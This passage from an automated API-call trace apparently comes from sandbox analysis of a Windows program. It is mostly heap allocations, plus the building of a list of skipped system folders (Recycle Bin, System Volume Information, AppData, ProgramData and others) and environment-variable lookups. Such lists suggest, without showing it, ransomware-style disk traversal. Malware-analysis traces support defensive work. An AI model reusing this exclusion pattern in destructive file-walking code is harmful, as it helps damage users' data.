(HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.842] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x20) returned 0x233bc08 [0026.842] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d5e8) returned 1 [0026.843] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d298 [0026.843] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c168 [0026.843] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2d8 [0026.843] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c1b0 [0026.843] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2c8 [0026.843] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c1f8 [0026.843] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c5e8) returned 1 [0026.843] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d248) returned 1 [0026.843] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c630) returned 1 [0026.843] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d238) returned 1 [0026.843] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c678) returned 1 [0026.843] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d228) returned 1 [0026.843] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c6c0) returned 1 [0026.843] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d218) returned 1 [0026.843] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c708) returned 1 [0026.843] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d208) returned 1 [0026.843] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c750) returned 1 [0026.843] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d1e8) returned 1 [0026.843] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c798) returned 1 [0026.843] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d1f8) returned 1 [0026.843] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85058) returned 1 [0026.843] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x20) returned 0x1c85058 [0026.843] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d1f8 [0026.843] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c798 [0026.843] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d1e8 [0026.843] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c750 [0026.843] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d208 [0026.843] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c708 [0026.843] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d218 [0026.843] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c6c0 [0026.843] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d228 [0026.843] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c678 [0026.843] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d238 [0026.843] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c630 [0026.843] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d248 [0026.843] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c5e8 [0026.843] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.843] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d258) returned 1 [0026.844] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.844] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d268) returned 1 [0026.844] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c240) returned 1 [0026.844] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d278) returned 1 [0026.844] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.844] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d288) returned 1 [0026.844] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c168) returned 1 [0026.844] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d298) returned 1 [0026.844] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c1b0) returned 1 [0026.844] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d2d8) returned 1 [0026.844] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c1f8) returned 1 [0026.844] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d2c8) returned 1 [0026.844] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bc08) returned 1 [0026.844] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x20) returned 0x233bc08 [0026.844] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2c8 [0026.844] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c1f8 [0026.844] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2d8 [0026.844] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c1b0 [0026.844] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d298 [0026.844] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c168 [0026.844] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d288 [0026.844] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.844] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d278 [0026.844] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c240 [0026.844] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d268 [0026.844] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.844] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d258 [0026.844] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.844] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c798) returned 1 [0026.844] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d1f8) returned 1 [0026.844] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c750) returned 1 [0026.844] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d1e8) returned 1 [0026.844] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c708) returned 1 [0026.844] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d208) returned 1 [0026.844] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c6c0) returned 1 [0026.844] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d218) returned 1 [0026.844] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c678) returned 1 [0026.844] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d228) returned 1 [0026.844] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c630) returned 1 [0026.845] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d238) returned 1 [0026.845] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c5e8) returned 1 [0026.845] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d248) returned 1 [0026.845] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85058) returned 1 [0026.845] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c82850) returned 1 [0026.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x233c1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0026.845] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233dae0 [0026.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x233c1f8, cbMultiByte=25, lpWideCharStr=0x233dae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0026.845] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233db68 [0026.845] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233dae0) returned 1 [0026.845] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d5e8 [0026.845] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d248 [0026.845] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233dae0 [0026.845] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233db68) returned 1 [0026.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x233c1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0026.845] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233db68 [0026.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x233c1b0, cbMultiByte=12, lpWideCharStr=0x233db68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0026.845] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233dbf0 [0026.845] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233db68) returned 1 [0026.845] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d238 [0026.845] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233db68 [0026.845] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233dbf0) returned 1 [0026.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x233c168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0026.845] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233dbf0 [0026.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x233c168, cbMultiByte=8, lpWideCharStr=0x233dbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0026.845] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233dc78 [0026.845] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233dbf0) returned 1 [0026.845] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d228 [0026.845] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233dbf0 [0026.845] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233dc78) returned 1 [0026.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x233c120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0026.846] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233dc78 [0026.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x233c120, cbMultiByte=6, lpWideCharStr=0x233dc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0026.846] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233dd00 [0026.846] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233dc78) returned 1 [0026.846] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d218 [0026.846] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233dc78 [0026.846] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233dd00) returned 1 [0026.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x233c240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0026.846] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233dd00 [0026.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x233c240, cbMultiByte=11, lpWideCharStr=0x233dd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0026.846] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233dd88 [0026.846] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233dd00) returned 1 [0026.846] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x20) returned 0x233dd00 [0026.846] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d5e8) returned 1 [0026.846] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d208 [0026.846] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233de28 [0026.846] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233dd88) returned 1 [0026.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x233c0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0026.846] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233deb0 [0026.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x233c0d8, cbMultiByte=7, lpWideCharStr=0x233deb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0026.846] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233df38 [0026.846] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233deb0) returned 1 [0026.846] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d1e8 [0026.846] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233deb0 [0026.846] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233df38) returned 1 [0026.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x233c288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0026.846] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233df38 [0026.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x233c288, cbMultiByte=11, lpWideCharStr=0x233df38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0026.846] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233dfc0 [0026.846] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233df38) returned 1 [0026.846] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d1f8 [0026.846] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233df38 [0026.846] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233dfc0) returned 1 [0026.847] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c1f8) returned 1 [0026.847] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d2c8) returned 1 [0026.847] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c1b0) returned 1 [0026.847] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d2d8) returned 1 [0026.847] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c168) returned 1 [0026.847] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d298) returned 1 [0026.847] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.847] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d288) returned 1 [0026.847] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c240) returned 1 [0026.847] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d278) returned 1 [0026.847] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.847] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d268) returned 1 [0026.847] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.847] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d258) returned 1 [0026.847] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bc08) returned 1 [0026.847] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x2800) returned 0x1c82850 [0026.847] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.847] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.847] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d5e8 [0026.847] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d258 [0026.847] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.847] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.847] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.847] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.847] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d258) returned 1 [0026.847] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d5e8) returned 1 [0026.847] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c82850) returned 1 [0026.847] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x2800) returned 0x1c82850 [0026.847] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.847] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.847] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.847] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d5e8 [0026.847] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d258 [0026.847] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.847] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.847] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.847] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d268 [0026.848] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c240 [0026.848] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.848] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.848] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d278 [0026.848] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.848] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.848] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d288 [0026.848] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.848] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d618 [0026.848] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d298 [0026.848] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c168 [0026.848] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2d8 [0026.848] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c1b0 [0026.848] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2c8 [0026.848] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c1f8 [0026.848] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2e8 [0026.848] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c5e8 [0026.848] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.848] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d258) returned 1 [0026.848] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c240) returned 1 [0026.848] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d268) returned 1 [0026.848] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.848] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d278) returned 1 [0026.848] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.848] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d288) returned 1 [0026.848] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d5e8) returned 1 [0026.848] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.848] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.848] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.848] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.848] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.848] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.848] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.848] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.848] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d5e8 [0026.848] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d288 [0026.848] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.848] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d278 [0026.848] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.849] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d268 [0026.849] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c240 [0026.849] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d258 [0026.849] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.849] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c168) returned 1 [0026.849] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d298) returned 1 [0026.849] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c1b0) returned 1 [0026.849] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d2d8) returned 1 [0026.849] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c1f8) returned 1 [0026.849] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d2c8) returned 1 [0026.849] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c5e8) returned 1 [0026.849] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d2e8) returned 1 [0026.849] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d618) returned 1 [0026.849] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d618 [0026.849] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2e8 [0026.849] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c5e8 [0026.849] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2c8 [0026.849] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c1f8 [0026.849] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2d8 [0026.849] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c1b0 [0026.849] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d298 [0026.849] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c168 [0026.849] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.849] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d288) returned 1 [0026.849] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.849] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d278) returned 1 [0026.849] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c240) returned 1 [0026.849] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d268) returned 1 [0026.849] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.849] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d258) returned 1 [0026.849] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d5e8) returned 1 [0026.849] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0x1c82850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0026.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c82850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0026.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c82850, cbMultiByte=14, lpWideCharStr=0x233dfc0, cchWideChar=14 | out: lpWideCharStr="C:\\ProgramData") returned 14 [0026.850] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0x1c82850, nSize=0x2800 | out: 